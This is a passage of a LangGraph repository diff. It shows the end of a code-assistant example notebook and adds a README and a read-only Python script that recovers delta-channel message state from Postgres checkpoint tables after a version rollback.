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", + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], + "source": [ + "from IPython.display import Image, display\n", + "\n", + "try:\n", + " display(Image(graph.get_graph(xray=True).draw_mermaid_png()))\n", + "except Exception:\n", + " # This requires some extra dependencies and is optional\n", + " pass" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "242aa2f0-2c31-462f-a958-ff9ae0cf7c62", + "metadata": {}, + "outputs": [], + "source": [ + "_printed = set()\n", + "thread_id = str(uuid.uuid4())\n", + "config = {\n", + " \"configurable\": {\n", + " # Checkpoints are accessed by thread_id\n", + " \"thread_id\": thread_id,\n", + " }\n", + "}\n", + "\n", + "question = \"Write a Python program that prints 'Hello, World!' to the console.\"\n", + "events = graph.stream(\n", + " {\"messages\": [(\"user\", question)], \"iterations\": 0}, config, stream_mode=\"values\"\n", + ")\n", + "for event in events:\n", + " _print_event(event, _printed)" + ] + }, + { + "cell_type": "markdown", + "id": "6924e707-5970-4254-a748-fa75628916f2", + "metadata": {}, + "source": [ + "`Trace:`\n", + "\n", + "https://smith.langchain.com/public/53bcdaab-e3c5-4423-9908-c44595325c38/r" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "390b2768-f395-4aea-8b0e-9d36212a31ac", + "metadata": {}, + "outputs": [], + "source": [ + "_printed = set()\n", + "thread_id = str(uuid.uuid4())\n", + "config = {\n", + " \"configurable\": {\n", + " # Checkpoints are accessed by thread_id\n", + " \"thread_id\": thread_id,\n", + " }\n", + "}\n", + "\n", + "question = \"\"\"Create a Python program that checks if a given string is a palindrome. A palindrome is a word, phrase, number, or other sequence of characters that reads the same forward and backward (ignoring spaces, punctuation, and capitalization).\n", + "\n", + "Requirements:\n", + "The program should define a function is_palindrome(s) that takes a string s as input.\n", + "The function should return True if the string is a palindrome and False otherwise.\n", + "Ignore spaces, punctuation, and case differences when checking for palindromes.\n", + "\n", + "Give an example of it working on an example input word.\"\"\"\n", + "\n", + "events = graph.stream(\n", + " {\"messages\": [(\"user\", question)], \"iterations\": 0}, config, stream_mode=\"values\"\n", + ")\n", + "for event in events:\n", + " _print_event(event, _printed)" + ] + }, + { + "cell_type": "markdown", + "id": "f96e0137-6df3-4a2a-8711-c9cb7dc66831", + "metadata": {}, + "source": [ + "Trace:\n", + "\n", + "https://smith.langchain.com/public/e749936d-7746-49de-b980-c41b17986e79/r" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "0a3f946b-e2f2-44d9-905b-09f36980cf9f", + "metadata": {}, + "outputs": [], + "source": [ + "_printed = set()\n", + "thread_id = str(uuid.uuid4())\n", + "config = {\n", + " \"configurable\": {\n", + " # Checkpoints are accessed by thread_id\n", + " \"thread_id\": thread_id,\n", + " }\n", + "}\n", + "\n", + "question = \"\"\"Write a program that prints the numbers from 1 to 100. \n", + "But for multiples of three, print \"Fizz\" instead of the number, and for the multiples of five, print \"Buzz\". \n", + "For numbers which are multiples of both three and five, print \"FizzBuzz\".\"\"\"\n", + "\n", + "events = graph.stream(\n", + " {\"messages\": [(\"user\", question)], \"iterations\": 0}, config, stream_mode=\"values\"\n", + ")\n", + "for event in events:\n", + " _print_event(event, _printed)" + ] + }, + { + "cell_type": "markdown", + "id": "8f3ef03b-0a07-49f5-9cbf-15e2503d020e", + "metadata": {}, + "source": [ + "Trace: \n", + "\n", + "https://smith.langchain.com/public/f5c19708-7592-4512-9f00-9696ab34a9eb/r" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "2bb883df-540b-46ab-9415-fe27db68456f", + "metadata": {}, + "outputs": [], + "source": [ + "import uuid\n", + "\n", + "_printed = set()\n", + "thread_id = str(uuid.uuid4())\n", + "config = {\n", + " \"configurable\": {\n", + " # Checkpoints are accessed by thread_id\n", + " \"thread_id\": thread_id,\n", + " }\n", + "}\n", + "\n", + "question = \"\"\"I want to vectorize a function\n", + "\n", + " frame = np.zeros((out_h, out_w, 3), dtype=np.uint8)\n", + " for i, val1 in enumerate(rows):\n", + " for j, val2 in enumerate(cols):\n", + " for j, val3 in enumerate(ch):\n", + " # Assuming you want to store the pair as tuples in the matrix\n", + " frame[i, j, k] = image[val1, val2, val3]\n", + "\n", + " out.write(np.array(frame))\n", + "\n", + "with a simple numpy function that does something like this what is it called. Show me a test case with this working.\"\"\"\n", + "\n", + "events = graph.stream(\n", + " {\"messages\": [(\"user\", question)], \"iterations\": 0}, config, stream_mode=\"values\"\n", + ")\n", + "for event in events:\n", + " _print_event(event, _printed)" + ] + }, + { + "cell_type": "markdown", + "id": "750a3292-1e0e-49cf-8b28-bef179afe6a2", + "metadata": {}, + "source": [ + "Trace w/ good example of self-correction:\n", + "\n", + "https://smith.langchain.com/public/b54778a0-d267-4f09-bc28-71761201c522/r" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "ee05da1f-c272-405d-8a7b-552cfc3106e1", + "metadata": {}, + "outputs": [], + "source": [ + "_printed = set()\n", + "thread_id = str(uuid.uuid4())\n", + "config = {\n", + " \"configurable\": {\n", + " # Checkpoints are accessed by thread_id\n", + " \"thread_id\": thread_id,\n", + " }\n", + "}\n", + "\n", + "question = \"\"\"Create a Python program that allows two players to play a game of Tic-Tac-Toe. The game should be played on a 3x3 grid. The program should:\n", + "\n", + "- Allow players to take turns to input their moves.\n", + "- Check for invalid moves (e.g., placing a marker on an already occupied space).\n", + "- Determine and announce the winner or if the game ends in a draw.\n", + "\n", + "Requirements:\n", + "- Use a 2D list to represent the Tic-Tac-Toe board.\n", + "- Use functions to modularize the code.\n", + "- Validate player input.\n", + "- Check for win conditions and draw conditions after each move.\"\"\"\n", + "\n", + "events = graph.stream(\n", + " {\"messages\": [(\"user\", question)], \"iterations\": 0}, config, stream_mode=\"values\"\n", + ")\n", + "for event in events:\n", + " _print_event(event, _printed)" + ] + }, + { + "cell_type": "markdown", + "id": "3d900cd6-2df9-467d-8e74-803527269008", + "metadata": {}, + "source": [ + "Trace w/ good example of failure to correct:\n", + "\n", + "https://smith.langchain.com/public/871ae736-2f77-44d4-b0da-a600d8f5377d/r" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "814fc2a4-8e5b-4faa-8f52-3977226bd09a", + "metadata": {}, + "outputs": [], + "source": [] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.11.8" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/examples/customer-support/customer-support.ipynb b/examples/customer-support/customer-support.ipynb new file mode 100644 index 0000000..449e118 --- /dev/null +++ b/examples/customer-support/customer-support.ipynb @@ -0,0 +1,41 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "a8232bc9", + "metadata": {}, + "source": [ + "[This file has been moved](https://github.com/langchain-ai/langgraph/blob/23961cff61a42b52525f3b20b4094d8d2fba1744/docs/docs/tutorials/customer-support/customer-support.ipynb)" + ] + }, + { + "cell_type": "markdown", + "id": "63da8671", + "metadata": {}, + "source": [ + "This directory is retained purely for archival purposes and is no longer updated. The examples previously found here have been moved to the newly [consolidated LangChain documentation](https://docs.langchain.com/oss/python/langgraph/overview)." + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.12.2" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/examples/delta-channel-dump/README.md b/examples/delta-channel-dump/README.md new file mode 100644 index 0000000..f760f08 --- /dev/null +++ b/examples/delta-channel-dump/README.md @@ -0,0 +1,132 @@ +# delta-channel-dump + +Recover messages (and other channels) from a Postgres-backed LangGraph thread +written by **langgraph >= 1.2** (DeltaChannel format) — including **LangGraph +Server / langgraph-api** deployments on the Postgres runtime, **deepagents +0.6.x**, or any OSS app using `PostgresSaver` — before rolling back to an older +runtime such as **deepagents 0.5.x / langgraph < 1.2**. + +langgraph-api uses the same `checkpoints` / `checkpoint_blobs` / `checkpoint_writes` +schema as OSS `checkpoint-postgres`; this script reads those tables directly. + +On the older runtime, `add_messages` does not understand the `EXT_DELTA_SNAPSHOT` +msgpack ext code and silently returns an empty list for affected channels. This +tool reads the raw checkpoint blobs from Postgres and emits JSON you can inspect +and re-apply via `update_state` (LangGraph Server SDK) or `graph.update_state` +(OSS). + +## Install + +```bash +pip install "psycopg[binary]" ormsgpack +``` + +## Run + +```bash +export DATABASE_URI=postgres://user:pass@host:5432/dbname +python3 dump.py \ + --thread-id \ + --channel messages \ + [--channel files ...] \ + [--checkpoint-id ] \ + [--checkpoint-ns ""] \ + --output recovery.json +``` + +- `--thread-id` (required): thread UUID +- `--channel` (required, repeatable): channel names to recover +- `--checkpoint-id` (optional): target checkpoint; defaults to latest +- `--checkpoint-ns` (optional): namespace; defaults to `""` +- `--database-uri` (optional): Postgres URI; defaults to `DATABASE_URI` env var +- `--output` (optional): output file; defaults to stdout + +## Output + +```json +{ + "thread_id": "...", + "checkpoint_ns": "", + "target_checkpoint_id": "...", + "parent_checkpoint_id": "...", + "channels": { + "messages": { + "delta_kind": "snapshot", + "seed_checkpoint_id": "...", + "seed_version": "...", + "seed": [{ "type": "ai", "content": "...", "id": "ai-0" }], + "writes": [ + { + "checkpoint_id": "...", + "task_id": "...", + "idx": 0, + "value": [{ "type": "ai", "content": "...", "id": "ai-10" }] + } + ] + } + } +} +``` + +`delta_kind` is one of: + +- `snapshot` — DeltaChannel snapshot blob (`channel_values[ch] == true`) +- `legacy_plain` — pre-DeltaChannel inline or blob value +- `no_seed` — walked to root without finding a populated ancestor + +`writes` are ordered oldest-to-newest (the order a reducer would replay them). + +## Reducing back to a single list + +For deepagents-style messages, combine seed and writes, then deduplicate: + +```python +import json + +data = json.load(open("recovery.json")) +ch = data["channels"]["messages"] +messages = list(ch["seed"] or []) +for w in ch["writes"]: + messages.extend(w["value"] or []) + +# Dedup by id, keep last; drop RemoveMessage tombstones +by_id = {} +for m in messages: + if isinstance(m, dict) and m.get("type") == "remove": + by_id.pop(m.get("id"), None) + elif isinstance(m, dict) and m.get("id"): + by_id[m["id"]] = m + else: + by_id[id(m)] = m +reduced = list(by_id.values()) +``` + +This approximates `_messages_delta_reducer` semantics; adjust for your graph. + +## Re-applying + +```python +from langgraph_sdk import get_client + +client = get_client(url="http://localhost:8123") +await client.threads.update_state( + thread_id, + values={"messages": reduced}, +) +``` + +Review the recovered JSON before calling `update_state`. This tool is +read-only and intentionally does not mutate the database. + +## Scope / non-goals (v1) + +- **Postgres only** — OSS `PostgresSaver` or langgraph-api Postgres runtime; not + inmem, gRPC core, Mongo, or Redis checkpointer backends +- **No AES decryption** (`LANGGRAPH_AES_KEY`) or custom encryption +- **No reducer** — raw seed + writes only +- **No automatic `update_state`** — operator applies manually + +## Copying + +`dump.py` is self-contained. Copy it anywhere; only `psycopg[binary]` and +`ormsgpack` are required at runtime. No langgraph imports. diff --git a/examples/delta-channel-dump/dump.py b/examples/delta-channel-dump/dump.py new file mode 100755 index 0000000..bd23de0 --- /dev/null +++ b/examples/delta-channel-dump/dump.py @@ -0,0 +1,469 @@ +#!/usr/bin/env python3 +"""Recover delta-channel state from a Postgres-backed LangGraph thread. + +Works with OSS ``PostgresSaver`` and LangGraph Server / langgraph-api on the +Postgres runtime (same checkpoint schema). Use after rolling back from +langgraph >= 1.2 / deepagents 0.6.x to an older runtime that does not +understand ``EXT_DELTA_SNAPSHOT`` msgpack blobs. The script walks the checkpoint +parent chain, decodes msgpack blobs, and emits a JSON dump of per-channel +``seed`` plus oldest-to-newest ``writes``. Apply the recovered values manually +via ``client.threads.update_state(...)`` (Server) or ``graph.update_state`` +(OSS). + +Install:: + + pip install "psycopg[binary]" ormsgpack + +Run:: + + export DATABASE_URI=postgres://... + python3 dump.py --thread-id --channel messages --output recovery.json + +Scope (v1): Postgres only; no AES/custom encryption; no reducer application. +""" + +from __future__ import annotations + +import argparse +import base64 +import json +import os +import sys +import uuid +from typing import Any + +import ormsgpack +import psycopg + +# LangGraph msgpack EXT type codes (langgraph/checkpoint/serde/jsonplus.py). +EXT_CONSTRUCTOR_SINGLE_ARG = 0 +EXT_CONSTRUCTOR_POS_ARGS = 1 +EXT_CONSTRUCTOR_KW_ARGS = 2 +EXT_METHOD_SINGLE_ARG = 3 +EXT_PYDANTIC_V1 = 4 +EXT_PYDANTIC_V2 = 5 +EXT_NUMPY_ARRAY = 6 +EXT_DELTA_SNAPSHOT = 7 + +_MSGPACK_OPTION = ormsgpack.OPT_NON_STR_KEYS + + +def ext_hook(code: int, data: bytes) -> Any: + """Decode LangGraph msgpack EXT payloads to JSON-friendly Python values.""" + if code == EXT_DELTA_SNAPSHOT: + inner = ormsgpack.unpackb(data, ext_hook=ext_hook, option=_MSGPACK_OPTION) + return {"__delta_snapshot__": inner} + if code == EXT_CONSTRUCTOR_SINGLE_ARG: + try: + tup = ormsgpack.unpackb(data, ext_hook=ext_hook, option=_MSGPACK_OPTION) + if tup[0] == "uuid" and tup[1] == "UUID": + hex_ = tup[2] + return ( + f"{hex_[:8]}-{hex_[8:12]}-{hex_[12:16]}-" + f"{hex_[16:20]}-{hex_[20:]}" + ) + return tup[2] + except Exception: + return None + if code == EXT_CONSTRUCTOR_POS_ARGS: + try: + tup = ormsgpack.unpackb(data, ext_hook=ext_hook, option=_MSGPACK_OPTION) + if tup[0] == "langgraph.types" and tup[1] == "Send": + args = tup[2] + if len(args) == 2: + return {"__send__": {"node": args[0], "arg": args[1]}} + return { + "__send__": { + "node": args[0], + "arg": args[1], + "timeout": args[2], + } + } + return tup[2] + except Exception: + return None + if code in (EXT_CONSTRUCTOR_KW_ARGS, EXT_METHOD_SINGLE_ARG): + try: + tup = ormsgpack.unpackb(data, ext_hook=ext_hook, option=_MSGPACK_OPTION) + return tup[2] + except Exception: + return None + if code in (EXT_PYDANTIC_V1, EXT_PYDANTIC_V2): + try: + tup = ormsgpack.unpackb(data, ext_hook=ext_hook, option=_MSGPACK_OPTION) + return tup[2] + except Exception: + return None + if code == EXT_NUMPY_ARRAY: + try: + dtype_str, shape, order, buf = ormsgpack.unpackb( + data, ext_hook=ext_hook, option=_MSGPACK_OPTION + ) + return { + "__numpy_array__": { + "dtype": dtype_str, + "shape": shape, + "order": order, + "data_b64": base64.b64encode(buf).decode("ascii"), + } + } + except Exception: + return None + return None + + +def decode_blob(blob_type: str, blob_bytes: bytes | None) -> Any: + if blob_type in ("empty", "null") or blob_bytes is None: + return None + if blob_type == "msgpack": + return ormsgpack.unpackb( + blob_bytes, ext_hook=ext_hook, option=_MSGPACK_OPTION + ) + if blob_type in ("bytes", "bytearray"): + return base64.b64encode(blob_bytes).decode("ascii") + raise RuntimeError( + f"Unknown blob type {blob_type!r}. " + "AES/custom-encrypted deployments are out of scope for v1." + ) + + +def delta_unwrap(value: Any) -> Any: + if isinstance(value, dict) and "__delta_snapshot__" in value: + return value["__delta_snapshot__"] + return value + + +def json_default(obj: Any) -> Any: + if isinstance(obj, (bytes, bytearray)): + return base64.b64encode(bytes(obj)).decode("ascii") + if isinstance(obj, uuid.UUID): + return str(obj) + raise TypeError(f"Object of type {type(obj).__name__} is not JSON serializable") + + +def resolve_target_checkpoint_id( + conn: psycopg.Connection[Any], + thread_id: str, + checkpoint_ns: str, + checkpoint_id: str | None, +) -> str: + if checkpoint_id is not None: + return checkpoint_id + row = conn.execute( + """ + SELECT checkpoint_id::text + FROM checkpoints + WHERE thread_id = %s AND checkpoint_ns = %s + ORDER BY checkpoint_id DESC + LIMIT 1 + """, + (thread_id, checkpoint_ns), + ).fetchone() + if row is None: + raise SystemExit( + f"No checkpoints found for thread_id={thread_id!r} " + f"checkpoint_ns={checkpoint_ns!r}" + ) + return row[0] + + +def _load_checkpoint( + conn: psycopg.Connection[Any], + thread_id: str, + checkpoint_ns: str, + checkpoint_id: str, +) -> tuple[dict[str, Any], str | None] | None: + row = conn.execute( + """ + SELECT checkpoint, parent_checkpoint_id::text + FROM checkpoints + WHERE thread_id = %s AND checkpoint_ns = %s AND checkpoint_id = %s + """, + (thread_id, checkpoint_ns, checkpoint_id), + ).fetchone() + if row is None: + return None + return row[0], row[1] + + +def _load_seed( + conn: psycopg.Connection[Any], + *, + thread_id: str, + checkpoint_ns: str, + channel: str, + checkpoint_id: str, + channel_values: dict[str, Any], + channel_versions: dict[str, str], +) -> dict[str, Any]: + cv = channel_values[channel] + version = channel_versions.get(channel) + if cv is True: + blob_row = conn.execute( + """ + SELECT type, blob + FROM checkpoint_blobs + WHERE thread_id = %s AND checkpoint_ns = %s + AND channel = %s AND version = %s + """, + (thread_id, checkpoint_ns, channel, version), + ).fetchone() + seed_value = None + if blob_row is not None and blob_row[0] != "empty": + seed_value = delta_unwrap(decode_blob(blob_row[0], blob_row[1])) + return { + "delta_kind": "snapshot", + "seed_checkpoint_id": checkpoint_id, + "seed_version": version, + "seed": seed_value, + } + if isinstance(cv, (int, float, str, bool)) or cv is None: + return { + "delta_kind": "legacy_plain", + "seed_checkpoint_id": checkpoint_id, + "seed_version": version, + "seed": cv, + } + blob_row = conn.execute( + """ + SELECT type, blob + FROM checkpoint_blobs + WHERE thread_id = %s AND checkpoint_ns = %s + AND channel = %s AND version = %s + """, + (thread_id, checkpoint_ns, channel, version), + ).fetchone() + seed_value = cv if blob_row is None else decode_blob(blob_row[0], blob_row[1]) + return { + "delta_kind": "legacy_plain", + "seed_checkpoint_id": checkpoint_id, + "seed_version": version, + "seed": seed_value, + } + + +def _load_writes_for_checkpoint( + conn: psycopg.Connection[Any], + *, + thread_id: str, + checkpoint_ns: str, + checkpoint_id: str, + channel: str, +) -> list[dict[str, Any]]: + """Load writes for one checkpoint, newest-first by ``(task_id, idx)``. + + ``walk_channel`` reverses the accumulated flat list before returning; + DESC here yields oldest-first within each checkpoint in the final output, + matching ``PostgresSaver._build_delta_channels_writes_history``. + """ + rows = conn.execute( + """ + SELECT task_id::text, idx, type, blob + FROM checkpoint_writes + WHERE thread_id = %s AND checkpoint_ns = %s + AND checkpoint_id = %s AND channel = %s + ORDER BY task_id DESC, idx DESC + """, + (thread_id, checkpoint_ns, checkpoint_id, channel), + ).fetchall() + return [ + { + "checkpoint_id": checkpoint_id, + "task_id": task_id, + "idx": idx, + "value": decode_blob(blob_type, blob_bytes), + } + for task_id, idx, blob_type, blob_bytes in rows + ] + + +def walk_channel( + conn: psycopg.Connection[Any], + *, + thread_id: str, + checkpoint_ns: str, + start_checkpoint_id: str | None, + channel: str, +) -> dict[str, Any]: + """Walk one channel's parent chain from target.parent backward to seed.""" + chain_writes_newest_first: list[dict[str, Any]] = [] + cur = start_checkpoint_id + while cur is not None: + loaded = _load_checkpoint(conn, thread_id, checkpoint_ns, cur) + if loaded is None: + break + checkpoint_json, parent_id = loaded + channel_values = checkpoint_json.get("channel_values") or {} + channel_versions = checkpoint_json.get("channel_versions") or {} + + chain_writes_newest_first.extend( + _load_writes_for_checkpoint( + conn, + thread_id=thread_id, + checkpoint_ns=checkpoint_ns, + checkpoint_id=cur, + channel=channel, + ) + ) + + if channel in channel_values: + seed = _load_seed( + conn, + thread_id=thread_id, + checkpoint_ns=checkpoint_ns, + channel=channel, + checkpoint_id=cur, + channel_values=channel_values, + channel_versions=channel_versions, + ) + seed["writes"] = list(reversed(chain_writes_newest_first)) + return seed + + cur = parent_id + + return { + "delta_kind": "no_seed", + "seed_checkpoint_id": None, + "seed_version": None, + "seed": None, + "writes": list(reversed(chain_writes_newest_first)), + } + + +def walk_parent_chain( + conn: psycopg.Connection[Any], + *, + thread_id: str, + checkpoint_ns: str, + target_checkpoint_id: str, + channels: list[str], +) -> tuple[str | None, dict[str, dict[str, Any]]]: + """Walk parent chain and return per-channel seed + writes (oldest-first).""" + parent_row = conn.execute( + """ + SELECT parent_checkpoint_id::text + FROM checkpoints + WHERE thread_id = %s AND checkpoint_ns = %s AND checkpoint_id = %s + """, + (thread_id, checkpoint_ns, target_checkpoint_id), + ).fetchone() + if parent_row is None: + raise SystemExit( + f"Checkpoint {target_checkpoint_id!r} not found for thread {thread_id!r}" + ) + parent_checkpoint_id = parent_row[0] + + result = { + ch: walk_channel( + conn, + thread_id=thread_id, + checkpoint_ns=checkpoint_ns, + start_checkpoint_id=parent_checkpoint_id, + channel=ch, + ) + for ch in channels + } + return parent_checkpoint_id, result + + +def build_output( + *, + thread_id: str, + checkpoint_ns: str, + target_checkpoint_id: str, + parent_checkpoint_id: str | None, + channels: dict[str, dict[str, Any]], +) -> dict[str, Any]: + return { + "thread_id": thread_id, + 